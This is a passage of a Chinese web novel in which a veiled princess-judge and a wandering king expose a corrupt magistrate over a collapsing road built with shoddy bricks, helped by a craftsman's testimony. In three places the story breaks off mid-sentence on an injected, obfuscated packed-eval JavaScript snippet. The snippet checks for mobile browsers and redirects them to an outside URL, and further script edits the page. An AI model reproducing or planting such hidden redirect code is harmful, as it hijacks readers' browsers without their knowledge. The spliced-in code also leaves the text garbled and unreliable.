“御史大人，咱们也不搞那些有的没的。我就直接问了。” 似曾相识的声音从耳边响起，御史大人背后从毛孔中冒起冷汗。一切的一切都是从耳边响起这个声音时开始脱离正轨的。 那明亮的声音却仿佛是由地狱而来，他抬眼看去声音的出处。 栏杆外站着一名身着红衣，俊秀异常的女子判官，脸上遮着轻纱。 隔着栏杆，步笑安看着他突然一个颤抖，直着身子僵硬地转过身。 “御史大人，你若不想挨板子的话，便如实交代吧。这牢狱的滋味想必大人没吃过猪肉，也见过猪跑不是吗。”她拿着纸笔，轻纱下皮笑肉不笑。 御史大人嘴角有些僵硬，“你究竟是何人，假扮学堂士子潜入我千秋宴就为了曹然？” 步笑安转了下笔，缓缓道：“我是何人，不重要，您当下只是犯了以下犯上之罪，但如若是——” 她一顿，“如若是被判是和曹然同党的话，御史大人你可想好了，断不是只有牢狱之灾那么简单。” 郎御史闻言胡须一颤，牙关却咬的很紧，“可我什么也没干，你也不能胡乱攀咬不是？” 这位御史老人家，毕竟是在官场沉浮多年，大风大浪也见过，不是个好糊弄过的。 步笑安眯起眼，觉得需要吓他一下。 她微微抬手，衣袖轻拂，“来人！” 这一声，如敲山震虎，回声一声又一声在牢房中回荡不绝传进了郎御史的耳朵。 郎御史的眼皮微微一颤，脸色一瞬间阴晴不定。 狱卒在步笑安身后站定，眼神不定的往牢里面瞟。鞭子在掌中紧握，正有力无处使，不过面对着曾经的长官，这鞭子倒如同烫手山芋。 “人来了。” 一道清凌凌的声音自牢房的另一侧飘然而至。 步笑安眉梢微动，侧眼望去，只见那人已然站定在她身旁。 他手中执一柄玉骨扇，扇面未开，仅以折扇轻敲掌心，瞧她一眼似笑非笑。 “怎么，美人儿这是想见点儿不寻常的。” 步笑安觑他一眼，这调查之事既然全权交给她，这人又来作甚。 她并未作答，轻纱下的唇角轻抿。 那人侧首，扇尖微扬，眼神转向郎御史，唇边笑意更深了几分：“听见没，御史大人，我们这美人可是个不留情面的主。” 郎御史看着面前两人一阴一阳，一唱一和的，眉头又皱。 蔺甘棠一身常服，并没有什么君王的架子，“孤这次本来是游山玩水而来，怎料到这戏演了一半，倒是看了一场好戏。” “御史府的古玩字画可是好啊，孤留了，御史不介意吧。” 郎御史脸有点儿青，何人不知道他郞九目平时就爱收集这些古玩字画，既有前朝的梅花三折，也有当朝大师的清明醉，哪一件都是价值不菲，这可都是他的命根子。 不过，命跟命根子相比较，还是小命比较重要。 郎御史嘴角牵出一抹苦笑，“王要便拿去就是了。” 不过很显然，王并不想就这样放过他。 “对了，郎御史，”蔺甘棠唇角微扬，“孤好奇你这清明醉是如何得来的呀。” 郎御史正抬手拍着大腿，听到此言，手掌在半空僵住，脸上神情一滞，“那还不是——” 未等他说完，蔺甘棠接过话茬，“孤来替你说罢，正是曹然那厮从京中为你带回的吧。” 日头渐高，熹微的光束穿过栅栏缝隙，直直照在郎御史的脸上，那束光变得极其刺眼。 他晃了晃头，似是被光晕扰乱了心神，半晌后才叹了一口气还是吐了口，“有些事，我也不知晓，永宁大道老塌，我也只是有一些猜想罢了。其实一想就明白，豆腐渣搭的玲珑宝塔，它终究是无法持久的。” * 御史府自从它的主人被投入牢狱之后，立马改头换面换了主人。 从牢狱回来后，他的新主人正在池塘边喂着池塘中的鲤鱼。 那鲤鱼飞身打了个挺，又从桥下溜走了。 “你不怕曹然闻声跑了？” 步笑安在他的身后看着他自娱自乐玩儿的不亦乐乎。 “这跑什么，该捂得嘴已经捂了，那御史也是以下犯上罪抓的，没人觉得孤来是为了处置什么贪官。” 他把手中所有鱼饵都一把撒了，转过身，扬眉看她，“中晟看似最大的贪官，就是孤。” 二人附近没有其余人，只有风声和树叶簌簌的响声。 步笑安勾起发梢绕了两圈，随后抱起肩。 上一次见他是在十年前，他的样子变了不少，棱角变得分明，不仔细看看不出从前的样子。当时的冷静沉稳和忠心样子在他的身上通通不见，留下的是岁月的痕迹染出来的荒唐。 她唇角微弯，似笑非笑，“多年不见，这孤说的是熟练了。” 蔺甘棠闻言，目光一敛，抬手遮住头顶炽烈的阳光，脸上荒唐之色褪去几分。 “十年了。殿下也是多变了许多。” 步笑安闻言哈哈两声，“那也没逃过你的眼睛。” 脑袋顶的太阳往西倾斜了几分，光影在二人之间拉出长长的剪影。 看样子离天黑还有一会儿，步笑安想了想又道：“走吧，去大名鼎鼎的永宁大道看看。” 蔺甘棠拿起扇子挡着阳光，一副玩世不恭的样子，半认真半荒唐地开口：“是，殿下。” 美人儿听多了，看他这一本正经的样子，倒是有一些不适。这人这么一副德行，倒是真真如民间口口相传的样子。 想必也是真的以游山玩水之名出的王宫。 她瞥他一眼，有什么话要说出口却又不知道说些什么，干脆利落地走出了御史府。“得了，之后再叙旧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659995|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 蔺甘棠跟在步笑安后面，不知道在想些什么，只是目光有些深沉。 他们之间太多年没见，当年的情谊还剩多少分谁也说不好，摸不清。 永宁大道，名震章州，坐落在章州西南一角，大道之宽，可以横着过五辆马车不显逼仄。 两侧杵着十余个青龙玄武石雕，一样望去威严肃穆，十分气派。 然而，自这条大道起建以来，除了修缮的官员与工匠，再无凡人或车马踏足其上。 民间传言四起，有人言见阴影飘忽，有人称闻啼哭凄厉。 于是，此地被百姓唤作“鬼道”。 但是此地却是孩童最爱之地。 “日月替，鬼道起，夜晚不要回头理——” 御史府离这里不近不远，却也用不着骑马，二人步行着至此。 街市渐渐远去，吆喝声逐渐淡去，取而代之的是孩童们的嬉笑声。 恢弘的大道前是孩子们围绕着碎石在玩闹。 大概也只有孩童才可以如此天真的面对世事万物。 “没想到在孩童的眼里，这破碎的长宁大道竟成了他们的乐土。” 蔺甘棠微微一笑，在她背后道：“是啊，在孩子的眼里这世道多美好。哪里知道世间的险恶。” 就像曾经的她一样。 还记有一日她因为品尝到从章州进贡来的一种极为少见品种的葡萄她乐得开怀，宴会结束后央求着有朝一日，她也要去看一看边陲的风景。 母后当时抚摸着她的头，摇着头，一直说她又娇气又淘气，笑她，“你哪里能吃得了那样的苦。” 父王倒是没有说什么，嘴边翘起一道弧度，道：“孩子大了，出去历练一下也是好的，等你再大些吧。” 她身着一身金丝银缕的宫袍，叉着腰软软绵绵地说：“等我及笄了，定要走遍这天下，出宫去体察人生百态，替父皇帝考察考察这大好河山。” 父皇听了哈哈大笑，道：“安儿长大定有出息，如你所愿。” 那时她还并未及笄，怎料一言成谶，如今她人在边陲，曾经的日子却是一去不回。 “小心！” 一声急喝未落，轰隆隆的巨响已从地底传来，带着步笑安的脚腕也在颤动。步笑安只觉脚下的地砖一软，她刚要飞身而起—— “殿下！” 蔺甘棠身形一闪，电光火石间将她一把揽起，躲过了那骤然塌陷的坑。 碎石滚落，带着风声砸入洞中。 “我没事——”步笑安没来得及说话，视线中便赫然看到路旁的青龙石雕眼看着要砸在地面。 那雕像的嘴已经咧开了一个很诡异的角度，马上就要裂成两半。 而在它身侧，正有一名面容稚嫩、约莫五六岁的小孩。 “快，救人！” 步笑安脱口而出，脚刚刚落地，便一个健步奔向了青龙石雕。 背后的人试图拉她的手结果扑了个空。 蔺甘棠看着一个箭步冲上前去的步笑安，突然意识到经过这么多年的历练，她好像并不需要他来当她的护卫了。 “怎么不，等等孤啊。” 5. 永宁 细碎的声音隐匿在风里，轻微得几乎要被风卷走，连发出声的人都未必听得真切。 步笑安耳朵微动，像是捕捉到那丝若有若无的声响。向前的步子未停，悄然回首之间，便见到蔺甘棠停驻在原地，一只手向前探出，指尖微颤。 霎时间，地面上轰隆隆的响声再次从脚底传来。 步笑安心头一凛，瞬间屏住呼吸，借着脚底的碎石用力一蹬，身形似箭脱弦，又往前窜了些许。 离青龙雕像两步远的孩子哭泣不止，被如雷鸣一般的声音震得跌坐在地上，小小的身躯愈发颤抖，神情满是不知所措。 雕像之上裂痕蔓延，青龙龙角已然半折，摇摇欲坠，张开的血盆大口眼看着就要把孩子吞掉。 “小孩儿，速速躲开！” 步笑安轻喝一声，声音却再次被轰隆隆的声音掩埋。 千钧一发之际，她衣玦翩然，一个漂亮的翻身，将那孩子搂入怀中，疾步回退。 背后风声骤起，巨石轰然坠地，余留灰尘阵阵。 好险！ 永宁大道重新归于平静，宽阔的大道之上，突兀地多出数个巨坑，坑旁横亘着坍塌的巨石。 这些巨坑虽不见多深，但若有孩童失足，足以将那小小的身躯掩埋。 步笑安刚刚在大道一侧站定，一只手拍着那个孩子。 “小孩儿，你看多危险啊，平时别再来这边玩儿了，不然你的父母会担心的。” 那孩子只顾着哭泣，一把鼻涕一把泪的全都抹在了步笑安的服饰上，她此刻不顾上仪表，有些欲哭无泪。 这孩子看着不大，还未到上学堂的年纪。不过在章州这个地方也确实也没有多少正经的学堂，大多数的孩子家中也没有上那个学堂的多余精力。 这小孩倒像是感觉到了安全，在她怀里睡着了，还直打鼾。 倒是有趣。 “嗯？” 步笑安面前倏然多了一条绢布，布面素净洁白。 那只手纤长的很，她抬眼望去，不知何时蔺甘棠顶着他那张美貌的脸竟然也跟了过来。 “擦擦。”他抬起下颌，声音不疾不徐。 他将绢布递前，目光又落在她衣衫上。 步笑安当即了然，她缓缓垂下视线，落在怀中那依旧颤抖的小孩身上，眼神柔和了几分。 “不必了。” 见步笑安没收，他也没说什么，一把将绢布塞回了怀里。 “这孩子的大人还真是心大，不看着孩子竟然让他跑到如此地方。” 蔺甘棠说的没错，刚才在附近玩耍的孩子大部分都是只在道边玩，很少有人跑到大道中间，怕是因为父母嘱咐过才会如此。只有那个小孩儿，孤孤零零的在道路中间。 步笑安回头望去，刚刚嘴里唱着童谣的孩子们都早已四散而逃了。没有慌乱，没有吵闹，看着动作极为熟练，怕这永宁大道塌过不止一次两次。 如此看来，这永宁大道还真是常塌常新。 “你们——干什么的！” 一声厉喝自道路尽头传来。尘土未散的永宁大道上，十数名官差快步而来，官帽下的目光锐利如刀，牢牢锁定站在道路一侧的步笑安和蔺甘棠。 领头的官差拿起刀，“此处道路修缮，闲杂人等远离。” 步笑安给蔺甘棠使了一个眼神。 “这位官爷，我二人刚到此地想从这边过去，您能否行个方便？” 官差挑了挑眉，面色有些惊讶，“从这儿过去？那怎么能行，没看这儿都塌了吗，快走快走，别耽误我们做工。” 他刀一横，冷声道：“赶紧走！” 随即招招手，五六个状似修道路的工匠从官差身后走出，拎着几筐黄土匆匆而过。 “爹——！” 在步笑安怀里的小孩儿不知何时睁开眼在怀中挣扎，她一时间没有把持得住，竟让那孩子挣脱了下来。 她看着小孩儿露出了惊喜的眼神，两颊红扑扑的，小跑过去稚嫩的手臂一把抱住一位工匠的小腿蹭了蹭。 “爹——” 那工匠显然是匆匆赶来，额头上还挂着细密的汗珠，看见孩童先是感到一阵惊喜，再是一阵后怕。工匠满脸的惊讶不甚作伪，粗糙的手轻轻抚摸着孩子的头顶，“小池，你怎么在这，你娘呢。” 那孩子摇摇头，除了叫爹什么话也不说。 官差站在旁边皱着眉，刀往地上一杵，“磨叽什么呢，赶紧开工啊，工期可不能延误。” 刀出鞘发出铮的一声。 闻声工匠立刻把孩子搂紧了些，顿时对这官差好声好气地讲，“官爷，犬子不懂事，可否容在下讲一二句话。” 官差皱了皱眉，高声道：“你这是在修道路，永宁大道再塌怎么办！赶紧走。” 工匠急忙躬身还欲再讲，“官爷——” 这官差断不是个讲情面的主，不等他把话说完，步笑安截过他的话头，“这位兄台，你若不介意的话，我们二人替你把孩子送回家可好？” 经过这一番折腾，她算是明白了，这孩子八成是溜出门想在永宁大道这里等着看他的父亲的，而且一个小孩子能跑出来的地方，家离得必定也不会远。 那工匠面露犹疑，目光在步笑安与蔺甘棠之间流转。 官差在旁虎视眈眈，催促之意溢于言表。 他看着脚边的孩子往步笑安的方向挪了一步，当即问道：“小池，你刚刚是不是遇到了危险，这位小姐救了你呀？” 那孩子眨巴着眼睛，小小的唇瓣抿成一条直线。还是不答，不过却是点了点头。 工匠见状，眼底的迟疑稍退，唇角动了动，似要说什么，却终究叹了一声。 他拱手一礼，语气诚挚道：“这位小姐，真是劳烦你了。小池虽年幼，但认得家门，我家便在长宁巷内。待得今日收工，定当亲自登门道谢。” 步笑安微微一笑，带着几分宽慰之意，“兄台不必多虑，你且安心在此做事，免得误了工期。我自会将小池安然送回。” 永宁大道的工匠们虽身份卑微，却是与这条路脉络相连的存在，所见所闻，自然不会单纯。若要探寻真相，这些身处泥瓦之间的人，或许是一个很好的突破点。 步笑安微微敛目，指尖轻轻扣住小池稚嫩的手掌，一起目送着众人走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659996|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向大道的另一侧，直到他们隐没在永宁大道的另一侧。 “东西拿到了？”步笑安缓缓道。 蔺甘棠唇角微翘，折扇轻轻敲了敲掌心，步伐从容地踏上前来，“你瞧。” 步笑安眼皮一掀，看到了他手中的关于永宁大道的边角料。像极了风一吹就碎的豆腐渣。 “果然，豆腐渣中的豆腐渣。” * 永宁巷中多崎岖小路，青石铺就的小路弯弯绕绕，七拐八折，拐着拐着二人便不知道来时的方向。 不过看起来那个小孩儿倒是对这里面是轻车熟路，步笑安与蔺甘棠跟着小孩儿，步履谨慎。 走过一处青苔攀附的旧墙，又拐过一棵枯槐下的阴凉，眼前突然出现一座破旧的宅院。 宅院掩映在青砖灰瓦之间，隐隐透着一股年久失修的荒凉。墙壁之间有一洞口，小池早已灵巧地钻了进去，双手撑在洞口边缘，圆溜溜的眼睛从阴影里望着二人，小手一挥，示意他们跟上，但迟迟不见人动，便又退回了步笑安的身边。 蔺甘棠环抱双臂，唇角微微上挑，目光中透出几分嫌弃，“这洞，孤可不想钻。” 步笑安觑他，“没人强迫你钻。” 她收回视线，缓缓打量四周。脚步一转行至门前，抬手轻扣门环，铜环敲击门板。 步笑安微微一笑，侧身看向蔺甘棠，道：“小人儿走小门，大人自当走大门。” “咚咚咚——” 三声过后，门开了。 开门的人是一位面目有些憔悴的妇人，身着一袭洗得发黄的麻布衣衫，领口打了不少补丁。想必这就是那工匠的妻子。 那妇人微微探出半个身子，瞧见门口站着两个人，神色微微一顿。 “二位是——” 步笑安笑道：“你家孩子跑到永宁大道去找他父亲了，我受人所托把人带回来。” 那妇人闻言愕然，探出身子瞥见步笑安身侧的小池，神色这才缓和下来。 她急忙将门打开，弯下腰将小池紧紧抱入怀中，声音颤抖，“小池，你怎么这么不懂事？跑那么远，要是出事了可怎么好！” 小池抽噎着，紧紧揪着母亲的衣角，小声道：“娘……我想爹了……” 妇人眼中泪光闪烁，她强忍住落泪的冲动，抬起头看向步笑安和蔺甘棠，连连拱手道：“二位恩公大德，小妇人无以为报。” 听闻此话步笑安摆手，“小事而已，只不过永宁大道那边危险，平日里不要去为好。” 妇人眼睛里闪着泪光，“二位不知道，我家夫君自从永宁大道开始修缮之时就被征召了去，平时也是早出晚归，家中已难得见他一面。小池年幼无知，日日思父，便偷偷溜到那大道上，盼着能远远瞧见爹爹的身影。孩儿思亲，也是人之常情啊……” 她叹了口气，眼神在小池脸上流连，“十年了，孩子也已经十岁了。” 她的手抚上孩子的发顶，手指微微颤抖。 回过神来，她方才察觉自己的失态，拭去眼角的泪珠，匆忙一礼。 “都怪我一时伤感，竟怠慢了贵客，还请二位移步寒舍稍坐片刻。” 6. 昭然 夕阳逐渐不见踪影，夜幕挂上了树梢。 屋外偶有寒风穿堂而过，窗纸微微颤抖，发出细碎的声响。 那妇人去庖厨准备晚膳，只留着娃娃一人在院里跟着烧火棒在嬉戏。二人在堂内对着院里那根歪脖子树发呆。 杯子中的茶不知换了几次，她喝的有些饱了。 茶杯放在桌上清脆的响了一声。 “王这是准备游山玩水到何时？” 蔺甘棠支着下巴侧过身看她，“该办的事情办完了自然就回去。殿下，这是在赶孤走？” 步笑安敛眸，“倒也不是。只是好奇，在宫里待的好好的，怎么突然想起微服私访来了。” 蔺甘棠微笑着扒拉着手中的珠串，“自然是——不放心殿下的安危。” “哦？只是这样？” “只是这样。” 步笑安自然对这番说辞抱有一些疑问，毕竟十年会改变很多人，很多事，还有很多想法。不过在当下却不是问这些的时候，得先把曹然的罪做实了。 御史只依以下犯上定罪的话御史在牢里关不了太久，他与曹然之间勾结的有多深还未可知，当下得尽可能多的拿到曹然的罪证。 她手里的账册是一部分，永宁大道的所用的材料也是一部分，这都已经拿到手。 剩下还需要人证。 “鸡来了——” 妇人端着一盘烧鸡缓缓而来，那炙烤过的香气一路随着凉风钻入鼻息，金黄色的鸡皮泛着诱人的油光，步笑安当即觉得有些饿了。 她看着这盘烧鸡，心底微微一颤。寒素的工匠家中拿出一只鸡来可算是不容易，看起来对他们二人救了她孩子的感激之情不假。 妇人将烧鸡小心翼翼地放在桌上，擦了擦额角渗出的汗珠，她的声音透着几分欢喜，笑道：“二位先吃吧。这家里已大半年无人来过了，今日难得有客，难得这般热闹。” 小孩儿趴在她身旁，圆溜溜的眼睛紧盯着烧鸡。“娘——我也想吃。” 妇人温柔地抚了抚他的头发，“乖，小池帮娘把这些小菜拿过去好不好呀。” 小池虽有些不舍，却懂事地点点头，抿着嘴角，小心翼翼地跑到庖厨端起桌上的小菜，脚步虽略显蹒跚，但却稳稳当当地朝着这边走来。 步笑安微笑着招招手，“来小池，到姐姐这儿来。” 话音未落，“咚咚咚——” 铜门又响了三下。 “开门，徽娘——！” 步笑安正忙着将小池抱到桌边，闻言看向门外。 那妇人朝步笑安与蔺甘棠歉意一笑，“孩子他爹回来了，二位慢用，不必拘束。” 言罢，她快步走到门前，小心翼翼地将门扉拉开一道狭窄的缝隙。 门外夜色如墨，风中带着凉意，透过这缝隙，依稀可见一名中年男子立于夜风之中，破旧斗笠压得极低，衣衫上沾满尘土。 男子目光一闪，神色凝重，低声催促道：“徽娘，快开门！” 徽娘立刻侧身让开，男子迅速闪身而入。 “出什么事了？你怎么这般狼狈？” 徽娘的神情明显是没有料到门外的人竟然这么早回来。 工匠未及回答，她肩头骤然一紧，粗糙的手掌死死扣住她的肩膀。 他目光急切，似有千言万语哽在喉间，视线一偏，正好撞见坐在堂屋中的步笑安与蔺甘棠，他显然是认出了二人。 他神色一僵，随即压下慌乱，目光警惕地扫过门外，确认无人跟踪后，猛地将门彻底关死，三两下将门栓栓牢。 这一番行为妥妥像是在逃避什么人，显然徽娘也是看出了苗头。 她的心沉了几分，瞧着工匠这般模样，道：“到底怎么了？你这满身尘土，是出了什么变故？” 工匠抬袖擦了擦额头的冷汗，嘴唇颤了颤，终是没能开口。 望着这一幕，步笑安轻叹了一声，终究将鸡腿放回盘中，眼神中透着几分无奈，“看来，这鸡与我果真无缘。” 蔺甘棠又从怀里掏出那方绢布递了出去，“擦擦罢。” 那绢布再次递至步笑安眼前，她指尖轻轻一颤，将绢布接了过来，轻轻拭去指尖的油渍，她微微一笑，“多谢好意。” 一旁的小池睁着圆滚滚的眼睛，瞧见了自家爹爹归来。他欢呼一声，小小的身子从木凳上一跃而下，脚步轻快如风中小鹿，径直扑向工匠。 “爹！” 工匠一把接住扑入怀中的小池，臂弯将那稚嫩的身躯护得更紧，神色依旧严峻却多了几缕温情。 他抱着小池，转头对着徽娘道：“走，收拾行囊。我们得赶紧离开章州！” 说完便就冲入了厢房，留下徽娘愣在原地，浑然不知所措。 步笑安闻言顿了一顿偏头看向蔺甘棠，“像是永宁大道又出了问题。这个人是人证，断不能让他离开。” 蔺甘棠闻言，“这是自然，先听听出什么问题。” 步笑安心思微转，唇角轻抿。 永宁大道塌陷如此严重，照理说县衙定然要派人彻底修缮，而且此事必定耗费不少人力与财力。然而，这工匠偏偏在这紧要关头，冒着风险从工地上逃了回来，想必其中必有隐情。 莫非他在修缮过程中，窥见了什么不为人知的暗事？ 她指尖轻轻敲击着桌面，今日凡是涉千秋宴的官员与宾客皆被暂时扣押，所以他们二人可以堂而皇之在外面明察暗访，可若是这个千秋宴结束后，他们若再无所动作，只怕会惊动那些幕后的人，届时在想要对付曹然，便是还得费一番功夫。 现在夜快深，不行，不能再拖，这个人得迅速带回去控制住。 步笑安转首看向蔺甘棠，低声道：“为求稳妥，带回我那边。” 蔺甘棠轻轻颔首。 步笑安不再迟疑，起身迈过门槛，走到徽娘身边，“徽娘，如今夜色深沉，外头不太平。如不嫌弃的话，不如先到我那里避一避，等事情平息再做打算。” 徽娘眉头紧皱：“恩公的大恩已是无以为报，怎能一而再、再而三地叨扰？况且我家到底出了何事，我心中尚不清楚，若是再连累了你们……” 步笑安又道：“我与官府那边有旧，不管怎样还是能帮上一帮的。” 徽娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659997|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些犹疑不觉，又去厢房将工匠拉了出来。 工匠一脸为难之色，他看着步笑安与蔺甘棠，长叹一声，嗓音沙哑道：“我着实不想再连累二位，二位有所不知，永宁大道便是一处无底深渊。踏错一步，便是身首异处之祸。这项工程拖延至今，早已是无计可施，再也修补不得了。” 步笑安还是问出了口，“究竟何事，让兄台如此讳莫如深。” 工匠抿了抿唇，神情苦涩，压低了声音道：“一般的地砖，都是以上好黄土烧制而成，这道理二位自是知晓。可这章州一带，地贫土瘠，并无黄土可寻。若要烧砖，便需远地运送，可这却是耗费巨大的人力财力，官府又岂肯轻易出银？” 他深吸一口气，“无奈之下，我们只能就地取材，用普通泥土掺杂沙砾烧砖。如此草草了事，这路基如何能承受人马辗压？一时修补，尚可遮掩；可若长久以往，必定塌陷难免。如今这永宁大道，不过是一个外表光鲜的空壳，暗里早已千疮百孔。” “况且这条大道不修好才是对当地官员来说最好的结果，从上面批银子，可以以次充好，中饱私囊。我今日修补的地方已经无法再修好，已经是千疮百孔，只得跑回来带着家人离开这里。” 步笑安的眉心微蹙，眸中一片深沉，定了定她手掌一摊，冲着站在她背后的人，发了话，“麻烦借昭然令一用。” 一块白玉如愿飞到了她的手心。 她展开令牌在工匠眼前一晃，“如此，你可放心？” “跟我走吧。” * 十月十五的晚上，夜空星光璀璨，县衙也不再是铁板一块，身着铁甲的护卫将其围的是水泄不通。 数日前，步笑安还无法在里面光明正大的行走，今日便已经可以调动了整个章州的兵力。 就因为一块小小的令牌。 步笑安站在县衙门口，举着火把，摇头道：“你这令牌倒是真好用。” 蔺甘棠淡然道：“你用比孤用的顺手，这令牌本该你拿着的。而且现在，这令牌在美人儿手里，比在孤手中要不容易引起非议的多。” 步笑安举着火把的手稍微有些晃动，火苗又蹿了一蹿。 又美人儿了？ 她环顾四周，人头攒动，确实四周都是看热闹的人。不管是不是天黑，不怕死的百姓倒是都围过来了。 步笑安眼皮儿一掀，瞧了瞧他一副淡然的模样。 所以他就又开始演上了戏。想来今天，他是真的喜欢唱戏才混入戏班的吧。 二人一前一后站在火把开辟的一片天地中，步笑安笑了笑，“今日倒是不用我杀进去了。” 她侧身吩咐王身旁的金令主，“金令主，速战速决。麻烦从里面儿把门打开。” “遵命。” 蔺甘棠站在她身后，撩起她的一缕发丝，“之后你打算怎么做？” 步笑安后脖颈一阵发痒，她拨开他的手，目带怒气，“放肆。” 那纤长的手指立刻就松了，他哈哈一笑，“美人儿既然这么说——那就是孤的错了。” 步笑安漠然回过神来，看着县衙，“明日升堂。” 7. 结案 步笑安红衣飘飘，踏上了县衙门前的青石石阶。 她纤手一抬，随手抄起身旁侍卫的刀柄。 随着铮的一声，一声清越的金属颤鸣，利刃破鞘而出。 她手持利剑，红纱遮面，竟像是一尊修罗。 步笑安在等。 千秋宴已散，宾客皆归，今日之事必会迅速传遍整个章州，乃至中晟王朝的每一个角落。 步笑安心中清楚，她需快刀斩乱麻，首先就要把曹然押下，不然那个黑袍女子要是通风报信的话，难免会让他有所准备，准备了就前功尽弃。 今日那个女人也现身了千秋宴，她虽已派人跟了上去，料想不久之后便能探到一丝蛛丝马迹。只不过在宴会上已经惊动了她，探却也不是那么好探就是了。最好的策略就是放长线钓大鱼。 叮咚声从门内传来，紧接着伴随着一阵刀枪剑戟的打斗声。 步笑安闭上眼睛。 神弓卫要是这么多年连个小小章州的护院都打不过的话，他们也可以不存在了，至少得回炉重造个十余年。 三，二，一。 步笑安在心里默念。 门吱呀一声开了。铜墙铁壁从里面打开，黑漆漆的县衙中终于有火光的影子探入。 她随即睁开眼，顶着那一片暗夜，伸手一招，淡然道：“拿下。” 于是，她踏入其中，与黑夜融入一体。 秋天的冷风顺着衣领就这么与肌肤相贴，冷嗖嗖的。 步笑安打了个寒颤。 蔺甘棠紧随其后，坐在县衙内地假山的圆桌旁边，小口喝着神弓卫给他沏的热茶。 他看着步笑安的方向，笑着说：“美人儿要不要喝一些？” 步笑安神情自若地觑他一眼，“不必。” 进县衙第一件事就是搜刮县令私藏的茶叶，也不知道这人是怎么想的。他到底是对她有信心，还是自己早有对策？ “王倒很是悠闲，不过草民可没这闲心。这差事办不完，就是个掉脑袋的事情。” 三天时间，调查清楚，要不然她可真是下不来台。 茶盖轻轻划过水波，惊起几篇茶叶，蔺甘棠闻言道：“孤可舍不得美人儿，谁敢。” 言语中尽是淡然，“不过这茶倒是少了几分的味道，远没有王都的茶好喝。” 步笑安不再理他。 县衙之内的装潢可谓是十分讲究，雕梁画栋，金漆镂花，连檐下垂落的流苏都点缀着碎玉银丝，当日夜访这里时，她并没有仔细欣赏，如今细细打量，这里的富贵可堪比京城大户。县衙也能如此金碧辉煌也是步笑安从未想过的。 若说是这曹然不聪明吧，也瞒了朝廷十余年。若说他聪明吧，还如此大张旗鼓闹得人尽皆知。 曹然被金令主从卧房中拖出，衣衫不整，脸上满是惊慌。 他脚步踉跄，抬头望向庭院中的步笑安与蔺甘棠，神色呆滞，显然未能认出眼前之人。 “你们是何人？！我曹然未曾得罪你们，好汉为何要闯我县衙？！”他颤颤巍巍，显然没有见过这种大阵仗。 周围官兵的服饰令他眼皮一跳，细看之下竟有几分熟悉，顿时心虚地眯起眼：“你们……好啊，竟敢冒充官兵！” 是什么人敢冒充官兵，他曹然并不知道，不过当下骨肉却是软的。 可随即想到若真是悍匪，自己挑衅反倒是自寻死路。他腿肚发软，连忙堆起笑脸，声音发虚道：“各位好汉，我章州小地儿，没什么值钱的东西。您若是看中了县衙里的什么宝贝，尽管拿去就是！” 他抹了把额头上的冷汗，讨好地继续道：“只要留我一条命，今后若有好东西，我全都给您留着！” 步笑安给气笑了，不禁冷笑出声，“曹大人，你倒是打得一手好算盘。只是这县衙里的东西，可不是你私人的家财。” 蔺甘棠在旁边喝了一口茶，“你这茶，受人蒙骗了，这是些陈年旧茶，看你这模样，还不知自己受骗了吧。” 还茶？跟茶有关系吗？ 步笑安翻了个白眼。 曹然闻言大惊，“你们，你们到底是谁！” 步笑安笑着对他说，“不重要，重要的是——” 她衣玦飘飘，路过他的身旁，扬言道：“曹大人说了，这县衙内有宝贝，给我搜！” 曹然面色惊疑不定，他不知道为什么周围的官兵都不听他的差遣，连护卫都已经销声匿迹。他人生当中第一次陷入如此被动的情况。 他瘫坐在地上，却又一把被那二人身旁的侍卫抓了起来。 曹然惊道：“你，你们又要干什么！” 蔺甘棠冲金令主一招手，“带走吧。” 步笑安跟着也出了县衙，回头冲着蔺甘棠一声招呼。 “告辞。” 一夜之间，章州城内风云骤变。 那位郎御史与曹县令二人，一同被打入大牢，锒铛入狱。 据民间传，章州这鸟不拉屎的地方，来了一位不可说的人物。第二天早上街头巷尾，无不议论纷纷，有人说是神仙下凡，有人言是朝廷钦差。 茶楼里，说书先生正拍着惊堂木，讲得唾沫横飞，眉飞色舞：“这位神人来得神出鬼没。有人亲眼瞧见，那夜红衣翻飞，刀光凛冽，宛若修罗降世，一刀便斩断了章州的乌烟瘴气！有人传，那是位红衣獠牙的女子！” “坊间还有传言，这红衣女子还是中晟王养在王宫外的外室，这王竟然把昭然令给了她！” 茶楼二楼，被传红衣獠牙的章州再生父母的步笑安，此时一袭麻布衣衫，俨然一副深闺小姐出来吃茶听曲儿的样子。当下正拿着糯米团子，正往嘴里送。 她边吃边摇头，“这风言风语传的如此之快，不是什么好事情。” 本身她的身份就不允许如此高调，如此一来，她便从此活在了人们的口中。怎可如此？ 你说这风言风语传的如此之快，没有人煽风点火她是不信的。 